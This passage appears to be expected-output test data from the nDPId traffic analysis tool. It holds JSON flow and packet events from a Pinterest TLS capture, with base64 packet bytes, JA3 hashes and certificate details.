ubIIOKi5waW50ZXJlc3QudHeCDHBpbnRlcmVzdC50d4IOKi5waW50ZXJlc3QudGiCDHBpbnRlcmVzdC50aIIOKi5waW50ZXJlc3QuaWSCDioucGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC5odYIMcGludGVyZXN0LnZugg4qLnBpbnRlcmVzdC51a4IMcGludGVyZXN0LnVrgg4qLnBpbnRlcmVzdC5ydYIMcGludGVyZXN0LnJ1gg4qLnBpbnRlcmVzdC5pdIIMcGludGVyZXN0Lml0ggxwaW50ZXJlc3QuZnKCDHBpbnRlcmVzdC5jbA=="} +00882{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":151,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":7,"flow_first_seen":1605289714142,"flow_last_seen":1605289714230,"flow_tot_l4_data_len":2145,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":306,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02314{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":152,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230367,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWeOms7KaKAxVrgBgLMHKuAAABAQgKwrkiHdZiICuCDioucGludGVyZXN0LmZygg4qLnBpbnRlcmVzdC5qcIIOKi5waW50ZXJlc3QuY2GCDXBpbnRlcmVzdC5jb22CBnBpbi5pdIIOKi5waW50ZXJlc3Quc2WCDioucGludGVyZXN0LnB0gg4qLnBpbnRlcmVzdC5teIIOKi5waW50ZXJlc3Qua3KCDioucGludGVyZXN0LmllghVwaW50ZXJlc3QuZW5naW5lZXJpbmeCDioucGludGVyZXN0LmRrgg4qLnBpbnRlcmVzdC5kZYIOKi5waW50ZXJlc3QuY2iCDioucGludGVyZXN0LmF0ghMqLnBpbnRlcmVzdG1haWwuY29tghcqLnBpbnRlcmVzdC5lbmdpbmVlcmluZ4IQKi5waW50ZXJlc3QuaW5mb4IOcGludGVyZXN0LmluZm+CCnBpbmltZy5jb22CEXBpbnRlcmVzdG1haWwuY29tggxwaW50ZXJlc3QuZGWCDHBpbnRlcmVzdC5ka4IMcGludGVyZXN0LmllggxwaW50ZXJlc3QuanCCDHBpbnRlcmVzdC5rcoIMcGludGVyZXN0Lm14ggxwaW50ZXJlc3QucHSCDHBpbnRlcmVzdC5zZYIMcGludGVyZXN0LmF0ggxwaW50ZXJlc3QuY2iCD3BpbnRlcmVzdC5jby5hdIISKi5waW50ZXJlc3QuY29tLnV5gg9waW50ZXJlc3QuY28ua3KCD3BpbnRlcmVzdC5jby51a4ISKi5waW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLmF1ghBwaW50ZXJlc3QuY29tLm14ghEqLnBpbnRlcmVzdC5jby5ueoIPcGludGVyZXN0LmNvLm56ghBwaW50ZXJlc3QuY29tLnBlghBwaW50ZXJlc3QuY29tLnV5ghEqLnBpbnRlcmVzdC5jby5pboIQcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAg=="} +02329{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230368,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWeOms8hKKAxVrgBgLMMBrAAABAQgKwrkiHdZiICswADCCAQIGCisGAQQB1nkCBAIEgfMEgfAA7gB1APZclC\/RdzAiFFQYCDCUVo7jTRMZM7\/fDC8gC8xO8WTjAAABc1XlLKoAAAQDAEYwRAIgRaKv8aGxAlWYWbVHO27QuYaMVjkla1sqJ9KYUXrictoCIGZLCw9wt4OYbNbjf38Sd0HcVnjDAvQiSaQp0SpzApBKAHUAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFzVeUs2gAABAMARjBEAiAuDr91sHLHbeq6ULmtTdDSNqnLoTLlcYe7\/kPCy2gn4QIgA+cib48hqVMfgDRA7rfZqbp5jNTNYzXGXOFA2AkCmT0wDQYJKoZIhvcNAQELBQADggEBABGiFYAkFnu8UzB05yYuu6ORpPiRus9re\/ZboVIXptvL0pkUrcvgfZi2w16yu5GxgOd3lO3AU5Kt\/ZpKFFCZxh9BN0EmZMVIOWL3InBaoMAPWM5FvBFhZR3ZzzTQgAomjhPGPc\/Ym2irB3KsHSFm9PXsfz\/uUho1KBgS5\/dxVaPUlW0FzOPQ352X1K5D48AsZ8gSLatYycUWqitEioqj+tbkxKSmohhxE9FIu2mZwKLfa5Jwerk4r+kkfHZWeU64M8ryNPfHAumKj4tuY9ExBO7Y4e2x3QcattWNF+nxQ0vhygeFbqK9scET+ozh8sLxcKZ6BJWetov0hn7Yza\/HLf0ABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovLw=="} +02023{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":154,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230369,"pkt_caplen":1244,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1244,"pkt_l4_len":1190,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABKYGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWeOms936KAxVrgBgLMPqCAAABAQgKwrkiHdZiICt3d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMDcxMTQ0NTJaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQBCEMxaOGM0GLpuhDcnQSm4AAGA8yMDIwMTEwNzExNDQ1MlqgERgPMjAyMDExMTQxMDU5NTJaMA0GCSqGSIb3DQEBCwUAA4IBAQCImBufb295Au2ju2lBCnSUKecQwVg9gkN6+y60LAZnbHKZEtr+Lda+UXfoK+l1YxaCqc9JLrsr4yUrVuWDwRxH0toRCTmGGUR1HNlQU5BSRgxjgPVigRozTEGDyIG2vw3NYmRMnZjbfP1UrZzwnVZzj5IoQyLzbQpl32Lbbr\/bdDDEwFgQMUn5Amod0fxMXoc8DZjVCIsQLbr0ZulxdcJ15CaK\/qvh8pChLhnvH1n\/AwOhcIVlVBpT9V0l7u\/uP1rrFrxi8PCEFwKJscSV3vQwFCEg2HYfT4kSA5rWhfeVL8L7H9ouqSE+9QM1pVNOcBI21XL+i4YVwGNzOS8NUvBEFgMDASwMAAEoAwAdIP3Bp+xbTlg44tL1u7WyGX5UGOsfbLYaZH3AGmNX1rsvCAQBAGJzP2SmxcyjMMo\/6yP1w57rYTK7VdsPUHCdhg0NNxlzgnz\/TKkisYlYbn9XfkuZ80iiMXVr5bfNwkVj+wuPAzF+GRaJQVlIOW91JKWgReChVeZPbgRPK0SovKU0eUpi8kKV4qM1SSKMsNypC6PeOwvnQon1VqejbCbDw3TE5dpyPFVVDcntyL+tTdqjbq6k5K\/9rlywGF7pxiLvS4b0VSiR+RedqhHsRsGHx0LLezKdYLAVf\/nOWvpStAQupC+2Be2rFKaKobFKce3Aeb0gVxhOiF9blHAJopuqK60RzhbXOW58ZgdapJZpWFJfNDY5\/W4sVcIYUBWg9a39EXHDQoEWAwMABA4AAAA="} +02662{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":154,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":10,"flow_first_seen":1605289714142,"flow_last_seen":1605289714230,"flow_tot_l4_data_len":6175,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":617,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38520,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"s.pinimg.com","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +00440{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":155,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230390,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDob5ABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrsYAAAAAUAQAADK8AAA="} +00440{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":156,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230409,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gBmcdABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnQBu8NFCIoAAAAAUAQAAI36AAA="} +00440{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":157,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230418,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDob5ABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrsYAAAAAUAQAADK8AAA="} +00440{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":158,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":230437,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCZxWABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElngBu4oDFWsAAAAAUAQAALpXAAA="} +00509{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":159,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1605289714250,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33156,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":159,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":250965,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gA+BkACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUgYQBu4mXWd7qkQRvgBAJlouHAAABAQgKz6oyaMK4cmQ="} +00515{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":160,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1605289714250,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:80b::2002","src_port":58726,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":250997,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCIReACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcICwAAAAAAACAC5WYBu2PBi7kDA7Y3gBAB9bhLAAABAQgKDEf\/5cK4cls="} +00509{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":161,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1605289714251,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::acd9:13e2","src_port":34626,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":251006,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCQO3ACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RPih0IBu\/o5BzSfc9\/MgBAB9chlAAABAQgK4ziLg8K4a4Y="} +00458{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258036,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWeOms\/ASKAxVsgBALMLSrAAABAQgKwrkiQNZiIEk="} +00457{"flow_id":7,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258038,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDvrj4hzJwgBALMLYaAAABAQgKwrkiQNZiIEk="} +00457{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258038,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdKO8WkHDRQiLgBALMHACAAABAQgKwrkiQNZiIEk="} +00457{"flow_id":7,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258039,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWdpoDvrj4hzJwgBELMLYYAAABAQgKwrkiQdZiIEk="} +00457{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258039,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWchkTTZB4Sa7HgBALMKwdAAABAQgKwrkiQdZiIEk="} +00440{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258069,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCZxWABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElngBu4oDFWwAAAAAUAQAALpWAAA="} +00441{"flow_id":7,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258097,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCEQNABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnYBu\/iHMnAAAAAAUAQAAC7QAAA="} +00441{"flow_id":7,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258112,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCEQNABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnYBu\/iHMnAAAAAAUAQAAC7QAAA="} +00440{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258119,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gDob5ABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrscAAAAAUAQAADK7AAA="} +00457{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258260,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoETkIAHQAAAAAAAAAAAIQqAcsBIEmLB5kd7IUo3\/YpAbuWelCqlNUyXzjLgBALMOkfAAABAQgKwrkiQdZiIEk="} +00440{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":258288,"pkt_caplen":74,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":74,"pkt_l4_len":20,"pkt":"qtsDr8lk5EKm5WPyht1gCkWGABQGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnoBuzJfOMsAAAAAUAQAAO6ZAAA="} 